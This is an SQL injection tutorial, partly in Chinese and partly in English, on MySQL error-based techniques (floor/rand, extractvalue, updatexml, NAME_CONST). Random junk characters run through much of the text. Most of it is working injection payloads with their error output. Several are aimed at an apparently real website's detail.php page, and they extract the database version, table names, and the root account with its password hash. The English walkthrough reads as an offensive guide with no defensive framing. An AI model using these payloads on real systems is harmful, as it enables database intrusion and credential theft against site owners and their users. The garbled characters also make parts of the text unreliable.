1、通过floor报错 可以通过如下一些利用代码 and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a); and (select count(*) from (select 1 union select null union select !1)x group by concat((select table_name from information_schema.tables limit 1),floor(rand(0)*2))); 举例如下:8 G+ _- F k: s+ P' A2 g
首先进行正常查询: mysql> select * from article where id = 1;
3 }) {8 e3 x, Z7 u, f& E! S$ D+—-+——-+———+1 J9 f6 W2 [+ z: s" K3 z( n
| id | title | content |
$ E4 A8 s2 T& X( g1 F! Y+—-+——-+———+
' o$ o& P9 Q9 A; k$ K* N| 1 | test | do it |. w+ F1 j1 [% l {: D
+—-+——-+———+ 假如id输入存在注入的话,可以通过如下语句进行报错。 mysql> select * from article where id = 1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
3 E2 s8 e( n% S! \ERROR 1062 (23000): Duplicate entry ’5.1.33-community-log1′ for key ’group_key’ 可以看到成功爆出了Mysql的版本,如果需要查询其他数据,可以通过修改version()所在位置语句进行查询。
% d. V0 S: n- S+ j$ S例如我们需要查询管理员用户名和密码: Method1: mysql> select * from article where id = 1 and (select 1 from (select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x from information_schema.tables group by x)a);
; V/ D5 ~: v2 R) f. m* [ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’ Method2: mysql> select * from article where id = 1 and (select count(*) from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),floor(rand(0)*2)));) y7 o* W. D8 Y# V& R$ j# l
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’ 2、ExtractValue
0 @8 _2 k5 F' m% s8 j' X测试语句如下 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1))); 实际测试过程 mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–- [) v9 k: o$ Y3 e
ERROR 1105 (HY000): XPATH syntax error: ’\admin888′ 3、UpdateXml 测试语句 and 1=(updatexml(1,concat(0x3a,(select user())),1)) 实际测试过程 mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’ # u) Z g+ ^8 B6 {/ A& ]
& i# @" K. k& b: j2 u+ `7 |" Q
再收集: ; F" }& B9 C0 k$ _% O$ ^
http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c)
/ g& p+ i1 a- T- ~
' X4 o/ `! r" ^/ PError uplicate column name ‘5.0.27-community-nt’Error uplicate column name ‘5.0.27-community-nt’3 D6 ~8 S* ^- k, q/ g+ V' X+ [
% m* \ ~# A7 ]. C2 _
http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const((select concat(user,password) from mysql.user limit 0,1),0))a join (select name_const((select concat(user,password) from mysql.user limit 0,1),0))b)c)
, y) F3 ^1 k5 r0 T' u* s {" |2 ]( Y8 ], X6 q6 l# N$ G
Error uplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′Error uplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′
3 f' ]: l: V& W4 N9 q; B; ?1 W1 q' }' i4 u' x
MYSQL高版本报错注入技巧-利用NAME_CONST注入# L$ c, ?) M4 v/ d, H* H; I
It's been a while since I've made an SQL Injection tutorial, so I'd thought I should make a new tutorial using the method name_const. There's not many papers documenting this method, so it feels kind of good to be the one to make a guide for it. 3 J* ^% t; a4 H. l% Y, O2 h
. V* `+ ~3 X$ u" q0 f
9 [& t1 y% `8 t+ }. W; n相关信息* \$ f! y1 j1 s8 S, v: g" Z2 z
9 p. S2 B1 w% X' C+ L0 g4 C1 k j- U
NAME_CONST was added in MySQL 5.0.12, so it won't work on anything less than that.
' F! l/ p6 B3 j) c) |0 u
- ]* C4 t* P9 R3 k- l0 N& n ?Code:
+ ^ q; U2 L3 c5 P9 ]* s5 s4 h1 MNAME_CONST(DATA, VALUE): q+ [7 S1 L/ ]$ \$ |- T; {
6 B1 {' C( Z, K7 i3 x1 v T. F! O
Returns the given value. When used to produce a result set column, NAME_CONST() causes the column to have the given name. The arguments should be constants.& \0 l0 O9 B: A5 g& L# y/ I8 ?
5 n' Z$ s& A" E: y
SELECT NAME_CONST('TEST', 1)
" h' T# I4 ?3 C3 Z' u/ Q
: `( y: x# v+ }$ e% B
4 S* Q% E8 E k4 N
5 J0 G2 u( q, n# ?$ {* l# W|---------------|
8 B' t6 G& X R0 }* T: W7 ^| TEST |
) }2 X* V- U0 x| |5 G8 l' v6 o' F7 ?
|---------------| H# e8 M, f2 q' Z0 i
| 1 |5 P/ P# V2 F+ {. `
| |
# s& F8 E* v) F5 @9 g|---------------|! S1 T' C$ A' y! t5 I @6 e m
. v% V, T1 {5 y+ d3 F) n7 l6 f8 r b! d9 f/ K
. @& H: J; {) ^# u/ U% j& X4 N/ h0 B" \
, R3 q: M2 L. j f2 E6 E
http://dev.mysql.com/doc/refman/5.0/en/m...name-const
- k# q6 a* y- V9 u' Y6 sIntro to MySQL Variables3 x' E$ T% b, b" u
2 ~1 L2 Q+ ?- j# sOnce you've got your vulnerable site, lets try getting some MySQL system variables using NAME_CONST.
0 P# u) ]( Q+ R. t$ z
, X% g2 K! O6 h8 t4 |* X3 G6 p$ U/ }Code:
" | ?. @: Q& ]) Ohttp://www.baido.hk/qcwh/content ... ;sid=19&cid=2619 k7 x! [2 d5 u) y; M/ ]
5 L9 d; J7 M' g3 A8 \) J
" l) g6 z) o4 @, P& @6 v) @$ ]2 A3 j' t' c2 P
4 w/ {; f% w Q
3 \! d3 q; a9 Q* m( C4 o' N. u5 g
Code:
; \% @4 k/ i' j7 `; R- I$ c6 Zand+1=(select+*+from+(select+NAME_CONST(VAR,1),NAME_CONST(VAR,1))+as+x)--4 Y, Z7 b" W) X
' n1 Z2 T; n! X, \; n& s q8 I1 f; w3 z" N3 Q( d
VAR = Your MySQL variable.9 T* s1 W, B( M$ R7 P
1 \* g2 C' f5 `$ {/ m; j! B# R
MySQL 5.1.3 Server System Variables4 @* L0 L! X4 r% q9 T- h5 c
$ x9 w; R& Z# G- ~1 T
Let's try it out on my site..) T, k) D. V, u3 O
* x+ U( G8 @ P$ u! ]" RCode:
2 I( |+ ? `+ u: H+ g2 A% j9 Jhttp://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)--" s u! l% `' M3 ^0 {
- x$ ^' z! n- C& y# r3 ^ H, v7 ?Error uplicate column name '5.0.27-community-nt'! \8 Y# i! N b! O1 I$ O
) A9 L! M. ?' V# W& M% S* Y6 b9 @' I) V+ N( i& L: V- J+ ~
* i0 a% g" k* N% F
4 N' C, v% e; A5 r7 Y5 K( A6 U1 @. E2 U, r* v
Now I've tried a couple of sites, and I was getting invalid calls to NAME_CONST trying to extract data. Nothing was wrong with my syntax, just wouldn't work there. Luckily, they work here so let's get this going again...% x' p8 w) z# F
7 X/ m4 Y* Q8 X6 J6 A: j
Data Extraction& j- B8 L) L( L! v3 k& ]. z
; Z8 o% R2 f. H. D' i% w$ F( ~8 q0 TCode:
+ b6 L& n- l) @- b3 x; G r+and+1=(select+*+from+(select+NAME_CONST((select+DATA+limit+0,1),1),NAME_CONST((select+DATA+limit+0,1),1))+as+x)--8 L* Q+ j% @ c# U( y) E
0 l v9 j# D5 f+ A6 M
, Y, ~- C \. r% m6 O2 rWe should get a duplicate column 1 error...
0 c: r4 `2 t' h+ n# d+ J" S# g! c- L8 x) ]) `' y
Code:
% Q0 g9 F- J3 N2 v& A. F, Phttp://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+1+limit+0,1),1),NAME_CONST((select+1+limit+0,1),1))+as+x)--( r: G( {$ D) R$ u {9 f( G
# ]) @$ H' }% x; \7 m- H9 ~Error uplicate column name '1
( f' s5 a! Y) X3 {! t( o
3 h1 e0 r& Q P+ ]1 a) K5 n/ l8 o+ k+ ^+ H: t% s9 A( \9 L- G5 C$ \
# o7 a0 v0 k1 z2 R5 M O' B8 j7 V
" q9 S$ w0 l% d5 t' I5 o! E4 p( N1 f4 G) p* y" ]
# A" q9 t! Y9 h! u) o6 K" _' [Now let's get the tables out this bitch..# o) s% R& y) Y6 T& v% D
/ o/ p5 Q0 s8 Q2 l* n# ^Code:1 ]) o3 ]; i( s% z9 U# H* G
+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--( a K e" _& A6 P
9 e, D1 E: R/ C- c T. ]
' l1 @* p+ P" Q8 X1 j1 iLet's see if it works here, if it does, we can go on and finish the job.
) K y0 f8 T; n b
+ i1 P5 n& L+ HCode:
: z; L* D, m$ I0 p; R1 Thttp://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--
1 K9 y- k6 f: h5 x- d N& i
3 c. L' U4 [0 q9 ]6 u3 Y$ e( `) M: ]
Error uplicate column name 'com_admanage
4 v" l r# s F2 f5 e# A9 ^: M8 A, x N' t$ ]; u' r
4 M. m" A1 G1 h- ?+ {" V& O' C1 E
3 n5 ?. f: N: W5 O$ n5 K2 A7 P0 i1 w+ S! `. k
7 v- h5 ^0 F7 X2 j
3 Z5 R0 }& W" ]6 zNow I'm going to be lazy and use mysql.user as an example, just for the sake of time.
+ n6 \! s! Y' n( I x7 }# _! P( O9 Y; `3 a/ x C- o
Let's get the columns out of the user table..
9 e& y, I% e) i3 ?6 X, G; y) ~
: h X: D# U# P; L$ o: c% N: UCode:! g [8 D: }# R% z# L, K3 C
+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1))+as+x)--. A6 `8 z1 D) A! B' D( c2 T" ~" Z S6 Y
3 v- N4 N7 v# K' k: q
4 b$ \' |/ \' P5 w2 pSo mine looks like this, and I get the duplicate column name 'Host'.
; k& J5 z: Z8 k4 e* Y% \; a6 ^, M) J
Code:
( O5 w7 i- T. e# E0 W. o; xhttp://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1))+as+x)--& ~) g/ N' Z* b. e( o
5 O/ X, u% p& f. G: c8 I
Error uplicate column name 'Host'
: V1 j0 n/ q, b: a+ ?& ^) {/ H1 }; ^1 j% Q1 T6 l* t
% a' z6 i. E# Q3 ?) v& t0 E2 D( f R
6 a3 Q! _2 @, ^: S8 D; w1 H0 n2 V* ?+ y
& F9 W' e8 ^: [" l
Woot, time to finish this bitch off.
2 p1 u" h) O9 e# b% x$ E- b0 Q, A' ]/ N
/ k. p N0 Q" k# N' @$ FCode:/ ] |( C; J! S) T6 ~ \7 }; H
+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1))+as+x)--3 t2 Q! x, K, {
9 g9 H9 U( L& c1 A. T6 Z9 f( t- X# B
2 v3 _- N6 d* X- |1 S$ U- u& R9 j9 |So mine looks like this..." A! r# h4 c) V; t7 I
3 ?# ], p( j) ]- w _
Code:' a# H, f* o% ?8 D
http://www.baido.hk /qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1))+as+x)--
$ i4 f9 {) L" ^( y: `/ a& }* p" u" ~ @# H; s
Error uplicate column name 'root ~ *B7B1A4F45D9E638FAEB750F0A99935634CFF6C82'# S: ^, Y6 G" K! V0 i
0 K# v; {7 F2 S$ U5 T c
& {+ r" |7 H, |- |& j3 l
4 L/ _' x1 t+ \: j$ g E( s/ t$ m" |/ V5 ~5 u& N
: S" Q) u' K' m* Z! ?% F$ c; B: h+ ?7 n, d
And there we have it, thanks for reading.; l0 [' k4 [* Q1 p8 }) z. b
9 O4 s% d8 x3 c1 {
|